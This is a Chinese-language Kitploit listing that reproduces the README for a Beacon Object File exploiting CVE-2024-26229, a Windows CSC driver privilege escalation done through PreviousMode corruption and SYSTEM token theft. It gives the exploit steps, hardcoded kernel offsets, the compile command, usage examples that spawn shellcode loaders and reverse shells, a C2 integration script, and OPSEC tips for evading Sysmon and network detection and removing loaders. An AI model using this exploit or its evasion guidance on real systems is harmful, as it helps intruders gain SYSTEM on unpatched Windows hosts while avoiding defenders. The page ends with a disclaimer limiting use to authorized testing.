Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-26229-BOF — CVE-2024-26229 信标对象文件版本 | Kitploit
工具/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
权限提升漏洞利用后渗透利用渗透测试红队Payload 开发二进制利用
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 信标对象文件版本

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-26229 BOF

CVE-2024-26229的Beacon Object File实现——通过DKOM令牌窃取实现Windows CSC驱动程序本地权限提升。

基于RalfHacker/CVE-2024-26229-exploit,转换为具有动态函数解析(DFR)的BOF,用于与支持Cobalt Strike BOF API的C2框架一起使用。

工作原理

  1. 通过NtCreateFile打开\Device\Mup\;Csc\.\.以获取CSC驱动程序句柄
  2. 发送IOCTL 0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE),使用指向KTHREAD->PreviousMode - 0x18的精心构造的输入缓冲区,将PreviousMode从UserMode破坏为KernelMode
  3. 在PreviousMode = KernelMode的情况下,NtWriteVirtualMemory可以写入任意内核地址
  4. 将SYSTEM进程(PID 4)的EPROCESS->Token复制到当前进程令牌(DKOM)
  5. 将PreviousMode恢复为UserMode
  6. 通过CreateProcessA生成指定的可执行文件——子进程继承SYSTEM令牌

beacon进程本身在第4步后变为SYSTEM。生成进程是可选的——如果CreateProcessA失败,beacon仍然是提升的。

目标

  • 操作系统: Windows 10 / Server 2019 (内部版本19041+)
  • 要求: 启用CSC驱动程序(HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • 修补于: 2024年4月累积更新

内核偏移量(硬编码)

偏移量值结构
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

这些偏移量是版本特定的。如果针对不同的内部版本,请使用WinDbg验证:

root@kitploit:~
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

编译

需要mingw-w64和与您的C2框架兼容的beacon.h头文件。

root@kitploit:~
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

将编译后的.o文件放入您的BOF目录中(例如,_bin/cve-2024-26229.x64.o)。

使用方法

root@kitploit:~
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]

示例

生成带有本地shellcode的加载器:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

生成反向Shell:

root@kitploit:~
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

无参数运行:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\beacon.exe

预期输出

root@kitploit:~
[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

AdaptixC2 / AXS集成

在您的.axs扩展脚本中注册BOF:

root@kitploit:~
var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Error: --path is required");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});

参数打包为cstr,cstr——两个以null结尾的字符串,与BOF中的两个BeaconDataExtract调用匹配。

OPSEC注意事项

  • 无用户态痕迹 — DKOM通过被破坏的PreviousMode完全在内核内存中操作。不写入文件,不创建服务,不修改注册表。
  • 无网络指标 — 该利用是本地性的。与从磁盘读取shellcode的加载器配对(--munition-local模式),而不是通过HTTP获取,以避免基于网络的检测。
  • 进程创建 — CreateProcessA带有CREATE_NO_WINDOW标志。生成的进程继承SYSTEM令牌。如果您的加载器注入到另一个进程(例如svchost.exe),之后可以清理磁盘上的加载器。
  • Sysmon — 默认Sysmon配置通常不记录对\Device\Mup\;Csc\.\.的NtCreateFile调用和IOCTL。CreateProcessA调用将生成标准的进程创建事件(事件ID 1)——确保您生成的二进制文件没有被签名检测。
  • PreviousMode恢复 — BOF在令牌复制后将PreviousMode恢复为UserMode。利用后,beacon进程继续正常运行。

局限性

  • 仅x64 — 硬编码偏移量和指针运算假定64位
  • 偏移量是特定于内部版本的 — 硬编码的EPROCESS->Token(0x4B8)和KTHREAD->PreviousMode(0x232)值适用于Windows 10 19041–19045和Server 2019 17763。其他内部版本可能需要调整。
  • 必须启用CSC驱动程序 — 检查sc query csc或注册表HKLM\SYSTEM\CurrentControlSet\Services\CSC(Start = 1)。驱动程序在工作站上默认启用,但在服务器上可能被禁用。
  • 每个进程单次使用 — DKOM修改beacon自身的EPROCESS令牌。在同一个beacon中运行两次BOF是多余的(已经是SYSTEM)。

鸣谢

  • RalfHacker — 原始独立利用
  • Natel — 测试与审查

参考

  • CVE-2024-26229 — MITRE
  • Microsoft安全公告

法律免责声明

此工具仅用于授权的渗透测试和安全研究。

在未拥有或未获得明确书面许可的系统中使用此工具违反越南法律,包括但不限于:

  • 2015年网络安全法(第86/2015/QH13号)——禁止未经授权访问信息系统
  • 2015年刑法(2017年修订)(第225–226条)——将未经授权侵入计算机网络和破坏数据定为犯罪

此工具仅供教育目的使用。作者对滥用不承担任何责任。您自行负责确保您的使用符合所有适用的本地、国家和国际法律。

使用此工具即表示您确认已在任何测试活动之前获得系统所有者的适当授权。

下载工具